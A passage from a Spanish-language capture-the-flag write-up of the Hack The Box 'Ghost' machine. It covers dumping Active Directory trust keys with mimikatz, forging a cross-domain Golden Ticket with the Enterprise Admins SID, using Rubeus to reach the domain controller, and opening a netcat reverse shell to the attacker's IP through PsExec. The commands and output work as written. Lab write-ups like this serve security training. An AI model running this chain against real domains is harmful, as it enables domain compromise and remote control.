## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::trust /patch
Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)
Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In ] CORP.GHOST.HTB -> GHOST.HTB
* 10/13/2024 7:38:38 PM - CLEAR - 58 40 0f e6 53 5a 4f 77 ca 75 b5 74 62 23 d9 b4 ca 2d 77 ba 4f 13 67 71 fb 8e 01 e3 f3 8b 9c 05 aa ae 86 8a 5c 65 5d ff 0a 36 0e 53 13 6d 90 3e 9f df e1 52 6e b0 06 5f 28 01 c6 dc 84 16 d3 6f 38 8a b5 b4 aa d2 d7 c4 6e c6 35 49 bc 41 8c 1e 8e 24 22 a0 3b 74 0a 4d 34 eb 45 b8 c3 30 6f 2a 40 08 f0 5b ee 19 e2 ed ed b1 8a df bd d5 93 4f 20 fa 94 b1 30 f1 17 fb 04 43 99 a5 88 1d 05 48 da 72 25 79 7e 21 1d 5f 5b 06 3a 4e 17 e4 26 6b 5f 23 f0 f9 50 17 36 9f f5 92 75 da 79 88 6d 24 7d e8 23 96 db 9f 3b 2b f6 0f 16 7d 9d 0c 32 31 14 8d 1d 46 e3 4e c7 99 7d 07 cf 71 f8 9f 74 c2 b4 f9 42 c9 01 2d 75 a6 ba 36 a1 1f 8c 7e f6 85 88 89 bc a7 fa bf 3a 99 46 74 f7 78 8d 0f 95 4d 8e ea 55 52 b7 ec 8c f7 75 f0 75 18 78 57 1c d9
* aes256_hmac f22772408a7dc9200a603fbcfa204dc9c7ba75d7f1a250942a1a35df1417e02a
* aes128_hmac 03c3fc5d6267a2f76cbb6e03475a8b4d
* rc4_hmac_nt 4b04c5ac6cca84114f4e965d96ca2d38
[ Out ] GHOST.HTB -> CORP.GHOST.HTB
* 10/13/2024 7:52:29 PM - CLEAR - fd f0 a1 41 19 b2 8b f4 21 13 e1 66 04 f4 94 be e7 1b 91 f7 f7 45 87 11 3d 0a 93 6d 14 dc ad c7 4b 1c 22 e6 8b 60 cb 5a dc f4 fd 3a ed 29 b7 ee 40 eb 7a e3 af f0 72 36 62 d6 92 4e 39 98 72 13 5b b6 d3 2e 1b 77 9c c3 f0 d4 c6 9d 40 73 91 af e7 1b 32 16 d0 1b 95 54 7b 13 6d 53 29 b2 90 54 fd c2 d1 c4 84 d2 5f 44 da 58 70 67 50 88 b0 46 7a 85 92 57 b6 5d aa 59 19 73 0a dd 3f b3 f4 96 99 98 a4 b2 17 cf b6 5f f7 e0 95 57 32 00 4c 79 a2 ef 1b a3 b3 fb f8 4b 4c ac d0 e7 80 c0 d7 25 c5 2e ac 9f 2c b4 e6 07 66 2a fe e7 e8 1f 80 ca 6c 36 a4 07 e0 6e 6c 4d 3d 4b 77 58 74 20 e7 cf 01 ed c9 f7 4d 00 9d 6a 43 64 fa b5 3c 2e 64 be c4 e2 2a 01 be d1 60 e0 2d b2 16 6b cf 8e 11 23 b1 f7 12 fa 26 5a 8e 19 93 a3 b8 7e 88 ac d8 84
* aes256_hmac 682cceb0224c8ca35c5246ad35cc242e94e5e41d3a0cf2e45adcc4a1cd6e4b29
* aes128_hmac 683e4686edf7fbd33afca4e98e2a4925
* rc4_hmac_nt ec213e210bc8a69ff6d9d62c1518e057
[ In-1] CORP.GHOST.HTB -> GHOST.HTB
* 7/22/2024 9:21:26 AM - CLEAR - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f
* aes256_hmac de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
* aes128_hmac b55ca148bc95f95b8cb72f67661e1a08
* rc4_hmac_nt 0b0124f5d6c07ad530d6bf6a6404fdaa
[Out-1] GHOST.HTB -> CORP.GHOST.HTB
* 10/13/2024 7:52:29 PM - CLEAR - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b
* aes256_hmac b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
* aes128_hmac 81f4c2f21a640eed29861d71a619b4bb
* rc4_hmac_nt ea4e9954536eb29091fc96bbce83be23
Tenemos un SID
para el dominio actual: S-1-5-21-2034262909-2733679486-179904498
y una “trust key” 4b04c5ac6cca84114f4e965d96ca2d38
(el hash NT
, o RC4
, para CORP.GHOST.HTB -> GHOST.HTB
).
Necesitamos ahora obtener el valor SID
para Administrator
o Enterprise Admins
:
C:\Users\Public\Downloads>wmic.exe useraccount get name,sid
wmic.exe useraccount get name,sid
Name SID
Administrator S-1-5-21-2034262909-2733679486-179904498-500
Guest S-1-5-21-2034262909-2733679486-179904498-501
krbtgt S-1-5-21-2034262909-2733679486-179904498-502
Administrator S-1-5-21-4084500788-938703357-3654145966-500
Guest S-1-5-21-4084500788-938703357-3654145966-501
krbtgt S-1-5-21-4084500788-938703357-3654145966-502
kathryn.holland S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal S-1-5-21-4084500788-938703357-3654145966-3615
Tenemos el valor SID
de S-1-5-21-2034262909-2733679486-179904498-500
para Administrator
. De Bloodhound
, podemos ver que S-1-5-21-4084500788-938703357-3654145966-519
es el SID
para Enterprise Admins
(buscando por Enterprise Admins
, clickeando en éste y viendo sus propiedades).
Finalmente, en la misma sesión con mimikatz
(si no hemos usado prviamente el comando lsadump::trust /patch
con mimikatz
antes, el comando que viene puede fallar, por lo que si hemos cerrado la sesión donde obtuvimos la “trust key” debemos volver a ejecutar aquel comando) forjamos un Golden Ticket
siguiendo el ejemplo dado en TheHackerRecipes:
mimikatz # kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi
User : Administrator
Domain : CORP.GHOST.HTB (CORP)
SID : S-1-5-21-2034262909-2733679486-179904498
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ;
ServiceKey: 4b04c5ac6cca84114f4e965d96ca2d38 - rc4_hmac_nt
Service : krbtgt
Target : GHOST.HTB
Lifetime : 10/13/2024 11:05:39 PM ; 10/11/2034 11:05:39 PM ; 10/11/2034 11:05:39 PM
-> Ticket : gunzf0x.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Esto genera un archivo .kirbi
.
Para aquellos curiosos, los parameters/flags usados se pueden ver en más profundidad en esta página.
Subimos Rubeus
a la máquina víctima y usamos el archivo .kirbi
generado para solicitar un TGT
como Administrator
al servicio CIFS
(que es equivalente a SMB
) en la máquina DC01
:
C:\Users\Public\Downloads>.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBENJRlMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6gwBGexNwLt8t2HOMgn3+7WOgAC8UOH17kcyq6IQjCcOG3bDmOpwakVq0Lli++P2rpmw5HaZSI65+pb4pMyaY/H1mIc+FysPyNYNLISIawcOnSkXN425Pc5w/ARRAU3eTZuUp/PyAbX1xs4NiYZjRQy5NpWvb71/qxVTQqkks6VbjWpmlIKLlJ5nlwXd/s6g6+tXQakRcB6E60Oxn/RiB1VLW2We8KRnYnm+wwo2qhQy/EGwATfIIYE7q0Pze3lIw3GyFDPsYlLZ3n3krBJrtadgoCZ/iiBreDjmOM/u9e1s8uY1a7j/6ko9qC4rfTfSvYduo7MPyD6KGGBiQGToPmKZo7KWs1RfjjXqWdE4ARyFeVqBlYBvOVMlcOLyfTYiIt6EMCV6/zF37SG079jiVf0y9vgHFujAVDsQSBHJxU/OWCEbbi63tNzAqC7GREEPWlSwes9UzYKhE22KjUQQYh6hPg7riRXuWeBKgVJMK+iJAh80QKbZR1m14X9GCuGq3e2/4x72Pc3yIuRafgFSRfgI0VX/QHKURDwq49GkkUtDn9p24PMh9d0a6MyEsm5/s44xQzz2uMgpt04R/jvcAJ5P/uI+3htVa3wuIsLb0ZQ6OmJe8lM+4+SEEVA2n8qiP4i4sMnM7l1wfcXL7HcpkJdZvkTAi0Ecq+odlzAZNyvQW8BJ9qj5PtAigNxB7NRVWjqpSstbcgKcYFWclmYwj2zeRywk5kOoI/A2ly3OVGmKAxWNiZOAtpFCTAS2sg6HerOLW34DUOlemzjZIXmGoDpZd0jODxXDTmRMll/3y87Jv5OyOKd4fQdePykZzIGmcUXPcMlrFmEBCZg1wfwbGuZrcocJl1IOPVaTfRSqJRJVApMDtKfjQSGxWYLzaydRakjaNXoXXD51G0nLOHQbcbHK54H/IuHk+xJzDuuLAT9UDJvi1q1yBr9iFQpTBmXSLC1dd2keSqqixYH4mWKFdqUxx33fBsXn9BL8Xz6w5M+k2+VQady25bKyODV1WxRL8iSaERf9ZZiNkPJsAB5sEDpJaSg8wUvXzBePDNo6SP4fs8LfHWD5Lsk65LSE+85ztQ/NRznxAgqDBd40RgH1kNdR7gW9kcm0iakFFxnD0sLN4lMQLsuiux8wN3YT1xO9z0EH2egFww9uksS5xFXjGvS+nbDWVcFrHevbIQAx/fyGLQSHihqT12U559xdi/7/iTJLW02Yx33MMOj5w679feYhGZ54soRYE2jgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCCDEX7RPQYBXZbDLe8Qiuw9WzqhUrJzExdi0iBeWCWSQ6EQGw5DT1JQLkdIT1NULkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDEwMTQwNjA1NDZaphEYDzIwMjQxMDE0MTYwNTQ2WqcRGA8yMDI0MTAyMTA2MDU0NlqoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEQ0lGUxsOZGMwMS5naG9zdC5odGI=
ServiceName : CIFS/dc01.ghost.htb
ServiceRealm : GHOST.HTB
UserName : Administrator
UserRealm : CORP.GHOST.HTB
StartTime : 10/13/2024 11:05:46 PM
EndTime : 10/14/2024 9:05:46 AM
RenewTill : 10/20/2024 11:05:46 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : gxF+0T0GAV2Wwy3vEIrsPVs6oVKycxMXYtIgXlglkkM=
Podemos ver si este ticket funciona usando el comando klist
y ver si el ticket solicitado está cacheado:
C:\Users\Public\Downloads>klist
klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ CORP.GHOST.HTB
Server: CIFS/dc01.ghost.htb @ GHOST.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 10/13/2024 23:05:46 (local)
End Time: 10/14/2024 9:05:46 (local)
Renew Time: 10/20/2024 23:05:46 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
Lamentablemente, si solicitmaos recursos a la máquina DC01
obtenemos Access denied
. Esto puede deberse a una diferencia de relojes entre la solicitud del ticket y la hora de solicitar recursos (Kerberos
, te odio). Para solucionar esto podemos realizar todos los pasos que hicimos anteriormente “de golpe” en un oneliner:
C:\Users\Public\Downloads>.\mimikatz.exe "lsadump::trust /patch" exit && .\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi" exit && .\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt && dir \\dc01.ghost.htb\c$
<SNIP>
Volume in drive \\dc01.ghost.htb\c$ has no label.
Volume Serial Number is 2804-C13F
Directory of \\dc01.ghost.htb\c$
05/08/2021 01:20 AM <DIR> PerfLogs
07/22/2024 09:55 AM <DIR> Program Files
07/22/2024 09:55 AM <DIR> Program Files (x86)
02/04/2024 02:48 PM <DIR> Users
07/10/2024 03:08 AM <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 3,619,573,760 bytes free
Tenemos acceso al Desktop de Administrator
en DC01
:
C:\Users\Public\Downloads>dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
Volume in drive \\dc01.ghost.htb\c$ has no label.
Volume Serial Number is 2804-C13F
Directory of \\dc01.ghost.htb\c$\Users\Administrator\Desktop
07/03/2024 01:28 PM <DIR> .
01/30/2024 10:19 AM <DIR> ..
10/13/2024 07:37 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 3,619,311,616 bytes free
Por fin podemos leer la flag de root para completar la máquina como este usuario (usando el comando type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
).
Pero si queremos ganar acceso a la máquina DC01
, podemos subir un binario de PsExec64.exe
(el cual puede ser descargado desde la página oficial de Microsoft). Descargado y traspasado el binario a la máquina víctima, creamos una copia del binario de nc
subido anteriormente desde la máquina PRIMARY
a la máquina DC01
:
C:\Users\Public\Downloads>copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe \\dc01.ghost.htb\c$\Users\Public\Downloads\nc.exe
Finalmente, nos enviamos una reverse shell usando PsExec.exe
y el binario de nc
en DC01
:
C:\Users\Public\Downloads>.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe"
.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e cmd.exe"
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting C:\Windows\System32\cmd.exe on DC01.ghost.htb...
Obtenemos una shell:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.24] 63075
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
corp\administrator
~Happy Hacking